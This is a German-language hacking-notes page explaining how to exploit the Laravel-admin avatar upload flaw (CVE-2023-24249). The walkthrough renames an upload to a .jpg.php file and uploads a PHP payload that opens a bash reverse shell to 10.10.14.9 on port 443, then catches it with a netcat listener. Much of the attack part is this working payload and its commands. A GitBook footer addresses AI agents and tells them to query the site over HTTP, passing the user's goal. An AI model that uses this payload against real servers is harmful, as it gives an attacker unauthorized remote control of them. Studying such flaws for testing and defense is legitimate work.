> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/file-upload-attack/file-upload-php-pentesting-web.md).

# Datei-Upload PHP

## Datei-Upload (Laravel-admin)

In der Anwendung Laravel-admin gibt es einen Bereich zum Hochladen eines Avatars. Durch Ausnutzen dieser Funktion können wir eine schädliche Datei senden, um unbefugten Zugriff auf den Server zu erhalten.

{% embed url="<https://flyd.uk/post/cve-2023-24249/>" %}

<figure><img src="/files/b4ea2614dc3648cb0eca79e03fd4ae6ffa093382" alt=""><figcaption></figcaption></figure>

### **Schritte zur Ausnutzung:**

1. **Fange die Avatar-Datei ab und ändere sie**:
   * Fange die Anfrage mit Burp Suite ab.
   * Ändere die Werte der Variable `Dateinamen` um die PHP-Erweiterung nach einer gefälschten Bilddatei hinzuzufügen, zum Beispiel: `hack.jpg.php`.

<figure><img src="/files/306c45c301ddc039cf6a94ce10497374562f36d0" alt=""><figcaption></figcaption></figure>

* Der Inhalt der Datei muss eine Reverse Shell sein, zum Beispiel:

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'"); ?>

```

<figure><img src="/files/238e87bc7ab3dc5f80c383bb09a0a208e3d09bd5" alt=""><figcaption></figcaption></figure>

**Starte einen Listener mit Netcat**:

* Starte den Listener auf Port 443 mit Netcat:

```bash
nc -nlvp 443

```

<figure><img src="/files/4946d5603f46e9a1451c12e452579fa20fe524f4" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/file-upload-attack/file-upload-php-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
